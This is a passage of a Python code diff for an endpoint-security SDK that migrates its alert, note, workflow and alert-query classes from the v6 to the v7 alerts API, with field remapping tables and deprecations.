"netconn_remote_ip": "remote_ip", + "parent_guid": "threat_cause_parent_guid", + "primary_event_id": "threat_cause_cause_event_id", + "process_guid": "threat_cause_process_guid", + "process_issuer": "threat_cause_actor_certificate_authority", + "process_md5": "threat_cause_actor_md5", + "process_name": "threat_cause_actor_name", + "process_publisher": "threat_cause_actor_publisher", + "process_reputation": "threat_cause_reputation", + "process_sha256": "threat_cause_actor_sha256", + "remote_k8s_kind": "remote_workload_kind", + "remote_k8s_namespace": "remote_namespace", + "remote_k8s_pod_name": "remote_replica_id", + "remote_k8s_workload_name": "remote_workload_name", + "rule_id ": "rule_id", + "run_state": "run_state", + "ttps": "threat_indicators", + "watchlists.id": "watchlists", + "workflow.change_timestamp": "workflow.last_update_time", + "workflow.status": "workflow.state" + } + + DEPRECATED_FIELDS_NOT_IN_V7 = [ + "category", + "group_details", + "alert_classification.classification", + "alert_classification.global_prevalence", + "alert_classification.org_prevalence", + # CB Analytics Fields + "blocked_threat_category", + "kill_chain_status", + "not_blocked_threat_category", + "threat_activity_c2", + "threat_activity_dlp", + "threat_activity_phish", + # CB Analytics and Host Based Firewall and Device Control and Watchlist + "threat_cause_threat_category", + # CB Analytics and Device Control and Watchlist + "threat_cause_vector", + # Container Runtime Fields + "workload_id", + # Watchlists Fields + "count", + "document_guid", + "threat_indicators", + "workflow.comment" + ] + + REMAPPED_CONTAINER_ALERTS_V7_TO_V6 = { + "k8s_policy_id": "policy_id", + "k8s_policy": "policy_name", + "k8s_rule_id": "rule_id", + "k8s_rule": "rule_name" + } + + REMAPPED_CONTAINER_ALERTS_V6_TO_V7 = { + "policy_id": "k8s_policy_id", + "policy_name": "k8s_policy", + "rule_id": "k8s_rule_id", + "rule_name": "k8s_rule" + } + + # these fields are deprecated from container runtime but mapped to a new field for other alert types + DEPRECATED_FIELDS_NOT_IN_V7_CONTAINER_ONLY = [ + "target_value" + ] + + REMAPPED_WORKFLOWS_V7_TO_V6 = { + "change_timestamp": "last_update_time", + "status": "state", + "closure_reason": "remediation" + } + + urlobject = "/api/alerts/v7/orgs/{0}/alerts" + urlobject_single = "/api/alerts/v7/orgs/{0}/alerts/{1}" + threat_urlobject_single = "/api/alerts/v7/orgs/{0}/threats/{1}" primary_key = "id" - swagger_meta_file = "platform/models/base_alert.yaml" + swagger_meta_file = "platform/models/alert.yaml" def __init__(self, cb, model_unique_id, initial_data=None): """ - Initialize the BaseAlert object. + Initialize the Alert object. Args: cb (BaseAPI): Reference to API object used to communicate with the server. model_unique_id (str): ID of the alert represented. initial_data (dict): Initial data used to populate the alert. """ - super(BaseAlert, self).__init__(cb, model_unique_id, initial_data) - self._workflow = Workflow(cb, initial_data.get("workflow", None) if initial_data else None) + super(Alert, self).__init__(cb, model_unique_id, initial_data) if model_unique_id is not None and initial_data is None: self._refresh() + def get_process(self, async_mode=False): + """ + Gets the process corresponding with the alert. + + Args: + async_mode: True to request process in an asynchronous manner. + + Returns: + Process: The process corresponding to the alert. + """ + process_guid = self._info.get("process_guid") + if not process_guid: + raise ApiError(f"Trying to get process details on an invalid process_id {process_guid}") + if async_mode: + return self._cb._async_submit(self._get_process) + return self._get_process() + + def _get_process(self, *args, **kwargs): + """ + Implementation of the get_process. + + Returns: + Process: The process corresponding to the alert. May return None if no process is found. + """ + process_guid = self._info.get("process_guid") + try: + process = AsyncProcessQuery(Process, self._cb).where(process_guid=process_guid).one() + except ObjectNotFoundError: + return None + return process + + def get_observations(self, timeout=0): + """Requests observations that are associated with the Alert. + + Uses Observations bulk get details. + + Returns: + list: Observations associated with the alert + + Note: + - When using asynchronous mode, this method returns a python future. + You can call result() on the future object to wait for completion and get the results. + """ + alert_id = self.get("id") + if not alert_id: + raise ApiError("Trying to get observations on an invalid alert_id {}".format(alert_id)) + + obs = Observation.bulk_get_details(self._cb, alert_id=alert_id, timeout=timeout) + return obs + + def get_history(self, threat=False): + """ + Get the actions taken on an Alert such as Notes added and workflow state changes. + + Args: + threat (bool): Whether to return the Alert or Threat history + + Returns: + list: The dicts of each determination, note or workflow change + + """ + if threat: + url = Alert.threat_urlobject_single.format(self._cb.credentials.org_key, self.threat_id) + else: + url = Alert.urlobject_single.format(self._cb.credentials.org_key, self._info[self.primary_key]) + + url = f"{url}/history" + resp = self._cb.get_object(url) + return resp.get("history", []) + + def get_threat_tags(self): + """ + Gets the threat's tags + + Required Permissions: + org.alerts.tags (READ) + + Returns: + (list[str]): The list of current tags + """ + url = Alert.threat_urlobject_single.format(self._cb.credentials.org_key, self.threat_id) + url = f"{url}/tags" + resp = self._cb.get_object(url) + return resp.get("list", []) + + def add_threat_tags(self, tags): + """ + Adds tags to the threat + + Required Permissions: + org.alerts.tags (CREATE) + + Args: + tags (list[str]): List of tags to add to the threat + + Raises: + ApiError: If tags is not a list of strings + + Returns: + (list[str]): The list of current tags + """ + if not isinstance(tags, list) or not isinstance(tags[0], str): + raise ApiError("Tags must be a list of strings") + + url = Alert.threat_urlobject_single.format(self._cb.credentials.org_key, self.threat_id) + url = f"{url}/tags" + resp = self._cb.post_object(url, {"tags": tags}) + resp_json = resp.json() + return resp_json.get("tags", []) + + def delete_threat_tag(self, tag): + """ + Delete a threat tag + + Required Permissions: + org.alerts.tags (DELETE) + + Args: + tag (str): The tag to delete + + Returns: + (list[str]): The list of current tags + """ + url = Alert.threat_urlobject_single.format(self._cb.credentials.org_key, self.threat_id) + url = f"{url}/tags/{tag}" + resp = self._cb.delete_object(url) + resp_json = resp.json() + return resp_json.get("tags", []) + class Note(PlatformModel): """Represents a note within an alert.""" - urlobject = "/appservices/v6/orgs/{0}/alerts/{1}/notes" - urlobject_single = "/appservices/v6/orgs/{0}/alerts/{1}/notes/{2}" + REMAPPED_NOTES_V6_TO_V7 = { + "create_time": "create_timestamp", + } + + REMAPPED_NOTES_V7_TO_V6 = { + "create_timestamp": "create_time", + } + + urlobject = "/api/alerts/v7/orgs/{0}/alerts/{1}/notes" + threat_urlobject = "/api/alerts/v7/orgs/{0}/threats/{1}/notes" primary_key = "id" - swagger_meta_file = "platform/models/base_alert_note.yaml" + swagger_meta_file = "platform/models/alert_note.yaml" _is_deleted = False - def __init__(self, cb, alert, model_unique_id, initial_data=None): + def __init__(self, cb, alert, model_unique_id, threat_note=False, initial_data=None): """ Initialize the Note object. Args: cb (BaseAPI): Reference to API object used to communicate with the server. - alert (BaseAlert): The alert where the note is saved. + alert (Alert): The alert where the note is saved. model_unique_id (str): ID of the note represented. + threat_note (bool): Whether the note is an Alert or Threat note initial_data (dict): Initial data used to populate the note. """ - super(BaseAlert.Note, self).__init__(cb, model_unique_id, initial_data) + super(Alert.Note, self).__init__(cb, model_unique_id, initial_data) self._alert = alert + self._threat_note = threat_note if model_unique_id is not None and initial_data is None: self._refresh() @@ -86,7 +362,15 @@ def _refresh(self): if self._is_deleted: raise ApiError("Cannot refresh a deleted Note") - url = BaseAlert.Note.urlobject.format(self._cb.credentials.org_key, self._alert.id) + if self._threat_note: + if self._alert.threat_id: + url = Alert.Note.threat_urlobject.format(self._cb.credentials.org_key, self._alert.threat_id) + else: + url = self.url + raise ObjectNotFoundError(url, "Cannot refresh: threat_id not found") + else: + url = Alert.Note.urlobject.format(self._cb.credentials.org_key, self._alert.id) + resp = self._cb.get_object(url) item_list = resp.get("results", []) @@ -114,26 +398,89 @@ def _query_implementation(cls, cb, **kwargs): def delete(self): """Deletes a note from an alert.""" - url = self.urlobject_single.format(self._cb.credentials.org_key, self._alert.id, - self.id) + if self._threat_note: + url = self.threat_urlobject.format(self._cb.credentials.org_key, self._alert.threat_id) + else: + url = self.urlobject.format(self._cb.credentials.org_key, self._alert.id) + + url = f"{url}/{self.id}" self._cb.delete_object(url) self._is_deleted = True - def notes_(self): - """Retrieves all notes for an alert.""" - url = BaseAlert.Note.urlobject.format(self._cb.credentials.org_key, self._info[self.primary_key]) + def __getitem__(self, item): + """ + Return an attribute of this object. + + Args: + item (str): Name of the attribute to be returned. + + Returns: + Any: The returned attribute value. + + Raises: + AttributeError: If the object has no such attribute. + """ + try: + return super(Alert.Note, self).__getattribute__(Alert.Note.REMAPPED_NOTES_V6_TO_V7.get(item, item)) + except AttributeError: + raise AttributeError("'{0}' object has no attribute '{1}'".format(self.__class__.__name__, + item)) + # fall through to the rest of the logic... + + def __getattr__(self, item): + """ + Return an attribute of this object. + + Args: + item (str): Name of the attribute to be returned. + + Returns: + Any: The returned attribute value. + + Raises: + AttributeError: If the object has no such attribute. + """ + try: + item = Alert.Note.REMAPPED_NOTES_V6_TO_V7.get(item, item) + return super(Alert.Note, self).__getattr__(Alert.Note.REMAPPED_NOTES_V6_TO_V7.get(item, item)) + except AttributeError: + raise AttributeError("'{0}' object has no attribute '{1}'".format(self.__class__.__name__, + item)) + # fall through to the rest of the logic... + + def notes_(self, threat_note=False): + """ + Retrieves all notes for an alert. + + Args: + threat_note (bool): Whether to return the Alert notes or Threat notes + """ + if threat_note: + url = Alert.Note.threat_urlobject.format(self._cb.credentials.org_key, self.threat_id) + else: + url = Alert.Note.urlobject.format(self._cb.credentials.org_key, self._info[self.primary_key]) + resp = self._cb.get_object(url) item_list = resp.get("results", []) - return [BaseAlert.Note(self._cb, self, item[BaseAlert.Note.primary_key], item) + return [Alert.Note(self._cb, self, item[Alert.Note.primary_key], threat_note, item) for item in item_list] - def create_note(self, note): - """Creates a new note.""" + def create_note(self, note, threat_note=False): + """ + Creates a new note. + + Args: + note (str): Note content to add + threat_note (bool): Whether to add the note to the Alert or Threat + """ request = {"note": note} - url = BaseAlert.Note.urlobject.format(self._cb.credentials.org_key, self._info[self.primary_key]) + if threat_note: + url = Alert.Note.threat_urlobject.format(self._cb.credentials.org_key, self.threat_id) + else: + url = Alert.Note.urlobject.format(self._cb.credentials.org_key, self._info[self.primary_key]) resp = self._cb.post_object(url, request) result = resp.json() - return [BaseAlert.Note(self._cb, self, result["id"], result)] + return Alert.Note(self._cb, self, result["id"], threat_note, result) @classmethod def _query_implementation(cls, cb, **kwargs): @@ -145,9 +492,9 @@ def _query_implementation(cls, cb, **kwargs): **kwargs (dict): Not used, retained for compatibility. Returns: - BaseAlertSearchQuery: The query object for this alert type. + AlertSearchQuery: The query object for this alert type. """ - return BaseAlertSearchQuery(cls, cb) + return AlertSearchQuery(cls, cb) def _refresh(self): """ @@ -159,7 +506,6 @@ def _refresh(self): url = self.urlobject_single.format(self._cb.credentials.org_key, self._model_unique_id) resp = self._cb.get_object(url) self._info = resp - self._workflow = Workflow(self._cb, resp.get("workflow", None)) self._last_refresh_time = time.time() return True @@ -169,53 +515,76 @@ def workflow_(self): Returns the workflow associated with this alert. Returns: - Workflow: The workflow associated with this alert. + dict: The workflow associated with this alert. """ - return self._workflow + return self.workflow - def _update_workflow_status(self, state, remediation, comment): + def close(self, closure_reason=None, determination=None, note=None): """ - Updates the workflow status of this alert. + Closes this alert. Args: - state (str): The state to set for this alert, either "OPEN" or "DISMISSED". - remediation (str): The remediation status to set for the alert. - comment (str): The comment to set for the alert. + closure_reason (str): the closure reason for this alert, either "NO_REASON", "RESOLVED", \ + "RESOLVED_BENIGN_KNOWN_GOOD", "DUPLICATE_CLEANUP", "OTHER" + determination (str): The determination status to set for the alert, either "TRUE_POSITIVE", \ + "FALSE_POSITIVE", or "NONE" + note (str): The comment to set for the alert. + + Note: + - This is an asynchronus call that returns a Job. If you want to wait and block on the results + you can call await_completion() to get a Futre then result() on the future object to wait for + completion and get the results. + + Example: + >>> alert = cb.select(Alert, "708d7dbf-2020-42d4-9cbc-0cddd0ffa31a") + >>> job = alert.close("RESOLVED", "FALSE_POSITIVE", "Normal behavior") + >>> completed_job = job.await_completion().result() + >>> alert.refresh() + + Returns: + Job: The Job object for the alert workflow action. """ - request = {"state": state} - if remediation: - request["remediation_state"] = remediation - if comment: - request["comment"] = comment - url = self.urlobject_single.format(self._cb.credentials.org_key, - self._model_unique_id) + "/workflow" - resp = self._cb.post_object(url, request) - self._workflow = Workflow(self._cb, resp.json()) + job = self._cb.select(Alert).add_criteria("id", [self.get("id")]) \ + ._update_status("CLOSED", closure_reason, note, determination) + self._last_refresh_time = time.time() + return job - def dismiss(self, remediation=None, comment=None): + def update(self, status, closure_reason=None, determination=None, note=None): """ - Dismisses this alert. + Update the Alert with optional closure_reason, determination, note, or status. Args: - remediation (str): The remediation status to set for the alert. - comment (str): The comment to set for the alert. - """ - self._update_workflow_status("DISMISSED", remediation, comment) + status (str): The status to set for this alert, either "OPEN", "IN_PROGRESS", or "CLOSED". + closure_reason (str): the closure reason for this alert, either "NO_REASON", "RESOLVED", \ + "RESOLVED_BENIGN_KNOWN_GOOD", "DUPLICATE_CLEANUP", "OTHER" + determination (str): The determination status to set for the alert, either "TRUE_POSITIVE", \ + "FALSE_POSITIVE", or "NONE" + note (str): The comment to set for the alert. - def update(self, remediation=None, comment=None): - """ - Updates this alert while leaving it open. + Note: + - This is an asynchronus call that returns a Job. If you want to wait and block on the results + you can call await_completion() to get a Futre then result() on the future object to wait for + completion and get the results. - Args: - remediation (str): The remediation status to set for the alert. - comment (str): The comment to set for the alert. + Example: + >>> alert = cb.select(Alert, "708d7dbf-2020-42d4-9cbc-0cddd0ffa31a") + >>> job = alert.update("IN_PROGESS", "NO_REASON", "NONE", "Starting Investigation") + >>> completed_job = job.await_completion().result() + >>> alert.refresh() + + Returns: + Job: The Job object for the alert workflow action. """ - self._update_workflow_status("OPEN", remediation, comment) + job = self._cb.select(Alert).add_criteria("id", [self.get("id")]) \ + ._update_status(status, closure_reason, note, determination) + + self._last_refresh_time = time.time() + return job def _update_threat_workflow_status(self, state, remediation, comment): """ - Updates the workflow status of all alerts with the same threat ID, past or future. + Updates the workflow status of all future alerts with the same threat ID. Args: state (str): The state to set for this alert, either "OPEN" or "DISMISSED". @@ -227,28 +596,35 @@ def _update_threat_workflow_status(self, state, remediation, comment): request["remediation_state"] = remediation if comment: request["comment"] = comment - url = "/appservices/v6/orgs/{0}/threat/{1}/workflow".format(self._cb.credentials.org_key, - self.threat_id) + url = "/appservices/v6/orgs/{0}/threat/workflow/_criteria".format(self._cb.credentials.org_key) resp = self._cb.post_object(url, request) - return Workflow(self._cb, resp.json()) + return resp.json() def dismiss_threat(self, remediation=None, comment=None): """ - Dismisses all alerts with the same threat ID, past or future. + Dismisses all future alerts assigned to the threat_id. Args: remediation (str): The remediation status to set for the alert. comment (str): The comment to set for the alert. + + Note: + - If you want to dismiss all past and current open alerts associated to the threat use the following: + >>> cb.select(Alert).add_criteria("threat_id", [alert.threat_id]).close(...) """ return self._update_threat_workflow_status("DISMISSED", remediation, comment) def update_threat(self, remediation=None, comment=None): """ - Updates the status of all alerts with the same threat ID, past or future, while leaving them in OPEN state. + Updates all future alerts assigned to the threat_id to the OPEN state. Args: remediation (str): The remediation status to set for the alert. comment (str): The comment to set for the alert. + + Note: + - If you want to update all past and current alerts associated to the threat use the following: + >>> cb.select(Alert).add_criteria("threat_id", [alert.threat_id]).update(...) """ return self._update_threat_workflow_status("OPEN", remediation, comment) @@ -270,64 +646,156 @@ def search_suggestions(cb, query): if cb.__class__.__name__ != "CBCloudAPI": raise ApiError("cb argument should be instance of CBCloudAPI.") query_params = {"suggest.q": query} - url = "/appservices/v6/orgs/{0}/alerts/search_suggestions".format(cb.credentials.org_key) + url = "/api/alerts/v7/orgs/{0}/alerts/search_suggestions".format(cb.credentials.org_key) output = cb.get_object(url, query_params) return output["suggestions"] + def __getitem__(self, item): + """ + Return an attribute of this object. -class WatchlistAlert(BaseAlert): - """Represents watch list alerts.""" - urlobject = "/appservices/v6/orgs/{0}/alerts/watchlist" + Args: + item (str): Name of the attribute to be returned. - @classmethod - def _query_implementation(cls, cb, **kwargs): + Returns: + Any: The returned attribute value. + + Raises: + AttributeError: If the object has no such attribute. """ - Returns the appropriate query object for this alert type. + try: + return super(Alert, self).__getattribute__(Alert.REMAPPED_ALERTS_V6_TO_V7.get(item, item)) + except AttributeError: + raise AttributeError("'{0}' object has no attribute '{1}'".format(self.__class__.__name__, + item)) + # fall through to the rest of the logic... + + def __getattr__(self, item): + """ + Return an attribute of this object. Args: - cb (BaseAPI): Reference to API object used to communicate with the server. - **kwargs (dict): Not used, retained for compatibility. + item (str): Name of the attribute to be returned. Returns: - WatchlistAlertSearchQuery: The query object for this alert type. + Any: The returned attribute value. + + Raises: + AttributeError: If the object has no such attribute. + FunctionalityDecommissioned: If the requested attribute is no longer available. """ - return WatchlistAlertSearchQuery(cls, cb) + try: + original_item = item + if item in Alert.DEPRECATED_FIELDS_NOT_IN_V7: + raise FunctionalityDecommissioned( + "Attribute '{0}' does not exist in object '{1}' because it was deprecated in " + "Alerts v7. In SDK 1.5.0 the".format(item, self.__class__.__name__)) + if item in Alert.DEPRECATED_FIELDS_NOT_IN_V7_CONTAINER_ONLY and self.type == "CONTAINER_RUNTIME": + raise FunctionalityDecommissioned( + "Attribute '{0}' does not exist in object '{1}' because it was deprecated in " + "Alerts v7. In SDK 1.5.0 the".format(item, self.__class__.__name__)) + + item = Alert.REMAPPED_ALERTS_V6_TO_V7.get(item, item) + if self.get("type") == "CONTAINER_RUNTIME": + item = Alert.REMAPPED_CONTAINER_ALERTS_V6_TO_V7.get(original_item, item) + return super(Alert, self).__getattr__(item) + except AttributeError: + raise AttributeError("'{0}' object has no attribute '{1}'".format(self.__class__.__name__, + item)) + # fall through to the rest of the logic... + + def to_json(self, version="v7"): + """ + Return a json object of the response. + + Args: + version (str): version of json to return. Either v6 or v7. DEFAULT v7 + + Returns: + Any: The returned attribute value. + """ + if version == "v6": + modified_json = {} + for key, value in self._info.items(): + if self.type == "CONTAINER_RUNTIME": + key = Alert.REMAPPED_CONTAINER_ALERTS_V7_TO_V6.get(key, key) + modified_json[Alert.REMAPPED_ALERTS_V7_TO_V6.get(key, key)] = value + if key == "id": + modified_json["legacy_alert_id"] = value + if key == "process_name": + modified_json["process_name"] = value + if key == "primary_event_id": + if self.type == "CB_ANALYTICS": + modified_json["created_by_event_id"] = value + if key == "process_guid": + if self.type == "WATCHLIST": + modified_json["process_guid"] = value + if self.type == "CB_ANALYTICS": + modified_json["threat_cause_process_guid"] = value + if key == "ttps": + ti = {"process_name": self._info.get("process_name"), "sha256": self._info.get("process_sha256"), + "ttps": value} + modified_json["threat_indicators"] = [ti] + if key == "workflow": + wf = {} + for wf_key, wf_value in value.items(): + if wf_key == "status" and wf_value == "CLOSED": + wf_value = "DISMISSED" + elif wf_key == "status" and wf_value == "IN_PROGRESS": + wf_value = "OPEN" + wf[Alert.REMAPPED_WORKFLOWS_V7_TO_V6.get(wf_key, wf_key)] = wf_value + modified_json[key] = wf + return modified_json + else: + return self._info - def get_process(self, async_mode=False): + def get(self, item, default_val=None): """ - Gets the process corresponding with the alert. + Return an attribute of this object. Args: - async_mode: True to request process in an asynchronous manner. + item (str): Name of the attribute to be returned. + default_val (Any): Default value to be used if the attribute is not set. + + Raises: + FunctionalityDecommissioned: If the requested attribute is no longer available. Returns: - Process: The process corresponding to the alert. + Any: The returned attribute value, which may be defaulted. """ - process_guid = self._info.get("process_guid") - if not process_guid: - raise ApiError(f"Trying to get process details on an invalid process_id {process_guid}") - if async_mode: - return self._cb._async_submit(self._get_process) - return self._get_process() + if item in Alert.DEPRECATED_FIELDS_NOT_IN_V7: + raise FunctionalityDecommissioned( + "Attribute '{0}' does not exist in object '{1}' because it was deprecated in " + "Alerts v7. In SDK 1.5.0 the".format(item, self.__class__.__name__)) + return super(Alert, self).get(item, default_val) - def _get_process(self, *args, **kwargs): + +class WatchlistAlert(Alert): + """Represents watch list alerts.""" + urlobject = "/api/alerts/v7/orgs/{0}/alerts" + type = ["WATCHLIST"] + swagger_meta_file = "platform/models/alert_watchlist.yaml" + + @classmethod + def _query_implementation(cls, cb, **kwargs): """ - Implementation of the get_process. + Returns the appropriate query object for this alert type. + + Args: + cb (BaseAPI): Reference to API object used to communicate with the server. + **kwargs (dict): Not used, retained for compatibility. Returns: - Process: The process corresponding to the alert. May return None if no process is found. + AlertSearchQuery: The query object for this alert type. """ - process_guid = self._info.get("process_guid") - try: - process = AsyncProcessQuery(Process, self._cb).where(process_guid=process_guid).one() - except ObjectNotFoundError: - return None - return process + return AlertSearchQuery(cls, cb).add_criteria("type", ["WATCHLIST"]) -class CBAnalyticsAlert(BaseAlert): +class CBAnalyticsAlert(Alert): """Represents CB Analytics alerts.""" - urlobject = "/appservices/v6/orgs/{0}/alerts/cbanalytics" + urlobject = "/api/alerts/v7/orgs/{0}/alerts" + type = ["CB_ANALYTICS"] + swagger_meta_file = "platform/models/alert_cb_analytic.yaml" @classmethod def _query_implementation(cls, cb, **kwargs): @@ -339,12 +807,17 @@ def _query_implementation(cls, cb, **kwargs): **kwargs (dict): Not used, retained for compatibility. Returns: - CBAnalyticsAlertSearchQuery: The query object for this alert type. + AlertSearchQuery: The query object for this alert type. """ - return CBAnalyticsAlertSearchQuery(cls, cb) + return AlertSearchQuery(cls, cb).add_criteria("type", ["CB_ANALYTICS"]) def get_events(self, timeout=0, async_mode=False): - """Requests enriched events detailed results. + """Removed in CBC SDK 1.5.0 because Enriched Events are deprecated. + + Previously requested enriched events detailed results. Update to use get_observations() instead. + See `Developer Network Observations Migration + `_ + for more details. Args: timeout (int): Event details request timeout in milliseconds. @@ -356,79 +829,18 @@ def get_events(self, timeout=0, async_mode=False): Note: - When using asynchronous mode, this method returns a python future. You can call result() on the future object to wait for completion and get the results. - """ - self._details_timeout = timeout - alert_id = self._info.get("legacy_alert_id") - if not alert_id: - raise ApiError("Trying to get event details on an invalid alert_id {}".format(alert_id)) - if async_mode: - return self._cb._async_submit(self._get_events_detailed_results) - return self._get_events_detailed_results() - def _get_events_detailed_results(self, *args, **kwargs): + Raises: + FunctionalityDecommissioned: If the requested attribute is no longer available. """ - Actual search details implementation. - - Returns: - list[EnrichedEvent]: List of enriched events. - - Flow: - 1. Start the job by providing alert_id - 2. Check the status of the job - wait until contacted and complete are equal - 3. Retrieve the results - it is possible for num_found to be 0, because enriched events are - kept for specific period, so return empty list in that case. - """ - url = "/api/investigate/v2/orgs/{}/enriched_events/detail_jobs".format(self._cb.credentials.org_key) - query_start = self._cb.post_object(url, body={"alert_id": self._info.get("legacy_alert_id")}) - job_id = query_start.json().get("job_id") - timed_out = False - submit_time = time.time() * 1000 - - while True: - status_url = "/api/investigate/v2/orgs/{}/enriched_events/detail_jobs/{}".format( - self._cb.credentials.org_key, - job_id, - ) - result = self._cb.get_object(status_url) - searchers_contacted = result.get("contacted", 0) - searchers_completed = result.get("completed", 0) - if searchers_completed == searchers_contacted: - break - if searchers_contacted == 0: - time.sleep(.5) - continue - if searchers_completed < searchers_contacted: - if self._details_timeout != 0 and (time.time() * 1000) - submit_time > self._details_timeout: - timed_out = True - break - - time.sleep(.5) + raise FunctionalityDecommissioned("get_events method does not exist in in SDK v1.5.0 " + "because Enriched Events have been deprecated. The") - if timed_out: - raise TimeoutError(message="user-specified timeout exceeded while waiting for results") - still_fetching = True - result_url = "/api/investigate/v2/orgs/{}/enriched_events/detail_jobs/{}/results".format( - self._cb.credentials.org_key, - job_id - ) - - query_parameters = {} - while still_fetching: - result = self._cb.get_object(result_url, query_parameters=query_parameters) - available_results = result.get('num_available', 0) - found_results = result.get('num_found', 0) - # if found is 0, then no enriched events - if found_results == 0: - return [] - if available_results != 0: - results = result.get('results', []) - return [EnrichedEvent(self._cb, initial_data=item) for item in results] - - -class DeviceControlAlert(BaseAlert): +class DeviceControlAlert(Alert): """Represents Device Control alerts.""" - urlobject = "/appservices/v6/orgs/{0}/alerts/devicecontrol" + urlobject = "/api/alerts/v7/orgs/{0}/alerts" + swagger_meta_file = "platform/models/alert_device_control.yaml" @classmethod def _query_implementation(cls, cb, **kwargs): @@ -440,14 +852,16 @@ def _query_implementation(cls, cb, **kwargs): **kwargs (dict): Not used, retained for compatibility. Returns: - DeviceControlAlertSearchQuery: The query object for this alert type. + AlertSearchQuery: The query object for this alert type. """ - return DeviceControlAlertSearchQuery(cls, cb) + return AlertSearchQuery(cls, cb).add_criteria("type", ["DEVICE_CONTROL"]) -class ContainerRuntimeAlert(BaseAlert): +class ContainerRuntimeAlert(Alert): """Represents Container Runtime alerts.""" - urlobject = "/appservices/v6/orgs/{0}/alerts/containerruntime" + urlobject = "/api/alerts/v7/orgs/{0}/alerts" + swagger_meta_file = "platform/models/alert_container_runtime.yaml" + type = ["CONTAINER_RUNTIME"] @classmethod def _query_implementation(cls, cb, **kwargs): @@ -459,520 +873,278 @@ def _query_implementation(cls, cb, **kwargs): **kwargs (dict): Not used, retained for compatibility. Returns: - ContainerRuntimeAlertSearchQuery: The query object for this alert type. + AlertSearchQuery: The query object for this alert type. """ - return ContainerRuntimeAlertSearchQuery(cls, cb) + return AlertSearchQuery(cls, cb).add_criteria("type", ["CONTAINER_RUNTIME"]) -class Workflow(UnrefreshableModel): - """Represents the workflow associated with alerts.""" - swagger_meta_file = "platform/models/workflow.yaml" +class HostBasedFirewallAlert(Alert): + """Represents Host Based Firewall alerts.""" + urlobject = "/api/alerts/v7/orgs/{0}/alerts" + swagger_meta_file = "platform/models/alert_host_based_firewall.yaml" + type = ["HOST_BASED_FIREWALL"] - def __init__(self, cb, initial_data=None): + @classmethod + def _query_implementation(cls, cb, **kwargs): """ - Initialize the Workflow object. + Returns the appropriate query object for this alert type. Args: cb (BaseAPI): Reference to API object used to communicate with the server. - initial_data (dict): Initial data used to populate the workflow. + cb (BaseAPI): Reference to API object used to communicate with the server. + **kwargs (dict): Not used, retained for compatibility. + + Returns: + AlertSearchQuery: The query object for this alert type. """ - super(Workflow, self).__init__(cb, model_unique_id=None, initial_data=initial_data) + return AlertSearchQuery(cls, cb).add_criteria("type", ["HOST_BASED_FIREWALL"]) -class WorkflowStatus(PlatformModel): - """Represents the current workflow status of a request.""" - urlobject_single = "/appservices/v6/orgs/{0}/workflow/status/{1}" - primary_key = "id" - swagger_meta_file = "platform/models/workflow_status.yaml" +class IntrusionDetectionSystemAlert(Alert): + """Represents Intrusion Detection System alerts.""" + urlobject = "/api/alerts/v7/orgs/{0}/alerts" + swagger_meta_file = "platform/models/alert_intrusion_detection_system.yaml" + type = ["INTRUSION_DETECTION_SYSTEM"] - def __init__(self, cb, model_unique_id, initial_data=None): + @classmethod + def _query_implementation(cls, cb, **kwargs): """ - Initialize the BaseAlert object. + Returns the appropriate query object for this alert type. Args: cb (BaseAPI): Reference to API object used to communicate with the server. - model_unique_id (str): ID of the request being processed. - initial_data (dict): Initial data used to populate the status. - """ - super(WorkflowStatus, self).__init__(cb, model_unique_id, initial_data) - self._request_id = model_unique_id - self._workflow = None - if model_unique_id is not None: - self._refresh() - - def _refresh(self): - """ - Rereads the request status from the server. + **kwargs (dict): Not used, retained for compatibility. Returns: - bool: True if refresh was successful, False if not. + AlertSearchQuery: The query object for this alert type. """ - url = self.urlobject_single.format(self._cb.credentials.org_key, self._request_id) - resp = self._cb.get_object(url) - self._info = resp - self._workflow = Workflow(self._cb, resp.get("workflow", None)) - self._last_refresh_time = time.time() - return True + return AlertSearchQuery(cls, cb).add_criteria("type", ["INTRUSION_DETECTION_SYSTEM"]) - @property - def id_(self): - """ - Returns the request ID of the associated request. - Returns: - str: The request ID of the associated request. - """ - return self._request_id +"""Alert Queries""" - @property - def workflow_(self): - """ - Returns the current workflow associated with this request. - Returns: - Workflow: The current workflow associated with this request. +class AlertSearchQuery(BaseQuery, QueryBuilderSupportMixin, IterableQueryMixin, LegacyAlertSearchQueryCriterionMixin, + CriteriaBuilderSupportMixin, ExclusionBuilderSupportMixin): + """Represents a query that is used to locate Alert objects.""" + DEPRECATED_FACET_FIELDS = ["ALERT_TYPE", "CATEGORY", "REPUTATION", "WORKFLOW", "TAG", "POLICY_ID", + "POLICY_NAME", "APPLICATION_HASH", "APPLICATION_NAME", "STATUS", "POLICY_APPLIED_STATE"] + + def __init__(self, doc_class, cb): """ - return self._workflow + Initialize the AlertSearchQuery. - @property - def queued(self): + Args: + doc_class (class): The model class that will be returned by this query. + cb (BaseAPI): Reference to API object used to communicate with the server. """ - Returns whether this request has been queued. + self._doc_class = doc_class + self._cb = cb + self._count_valid = False + self._valid_criteria = False + super(AlertSearchQuery, self).__init__() - Returns: - bool: True if the request is in "queued" state, False if not. + self._query_builder = QueryBuilder() + self._criteria = {} + self._time_filters = {} + self._exclusions = {} + self._time_exclusion_filters = {} + self._sortcriteria = {} + self._bulkupdate_url = "/api/alerts/v7/orgs/{0}/alerts/workflow" + self._count_valid = False + self._total_results = 0 + self._batch_size = 100 + + def set_rows(self, rows): """ - self._refresh() - return self._info.get("status", "") == "QUEUED" - - @property - def in_progress(self): - """ - Returns whether this request is currently in progress. - - Returns: - bool: True if the request is in "in progress" state, False if not. - """ - self._refresh() - return self._info.get("status", "") == "IN_PROGRESS" - - @property - def finished(self): - """ - Returns whether this request has been completed. - - Returns: - bool: True if the request is in "finished" state, False if not. - """ - self._refresh() - return self._info.get("status", "") == "FINISHED" - - -"""Alert Queries""" - - -class BaseAlertSearchQuery(BaseQuery, QueryBuilderSupportMixin, IterableQueryMixin, CriteriaBuilderSupportMixin): - """Represents a query that is used to locate BaseAlert objects.""" - VALID_CATEGORIES = ["THREAT", "MONITORED"] - VALID_REPUTATIONS = ["KNOWN_MALWARE", "SUSPECT_MALWARE", "PUP", "NOT_LISTED", "ADAPTIVE_WHITE_LIST", - "COMMON_WHITE_LIST", "TRUSTED_WHITE_LIST", "COMPANY_BLACK_LIST"] - VALID_ALERT_TYPES = ["CB_ANALYTICS", "DEVICE_CONTROL", "WATCHLIST", "CONTAINER_RUNTIME"] - VALID_WORKFLOW_VALS = ["OPEN", "DISMISSED"] - VALID_FACET_FIELDS = ["ALERT_TYPE", "CATEGORY", 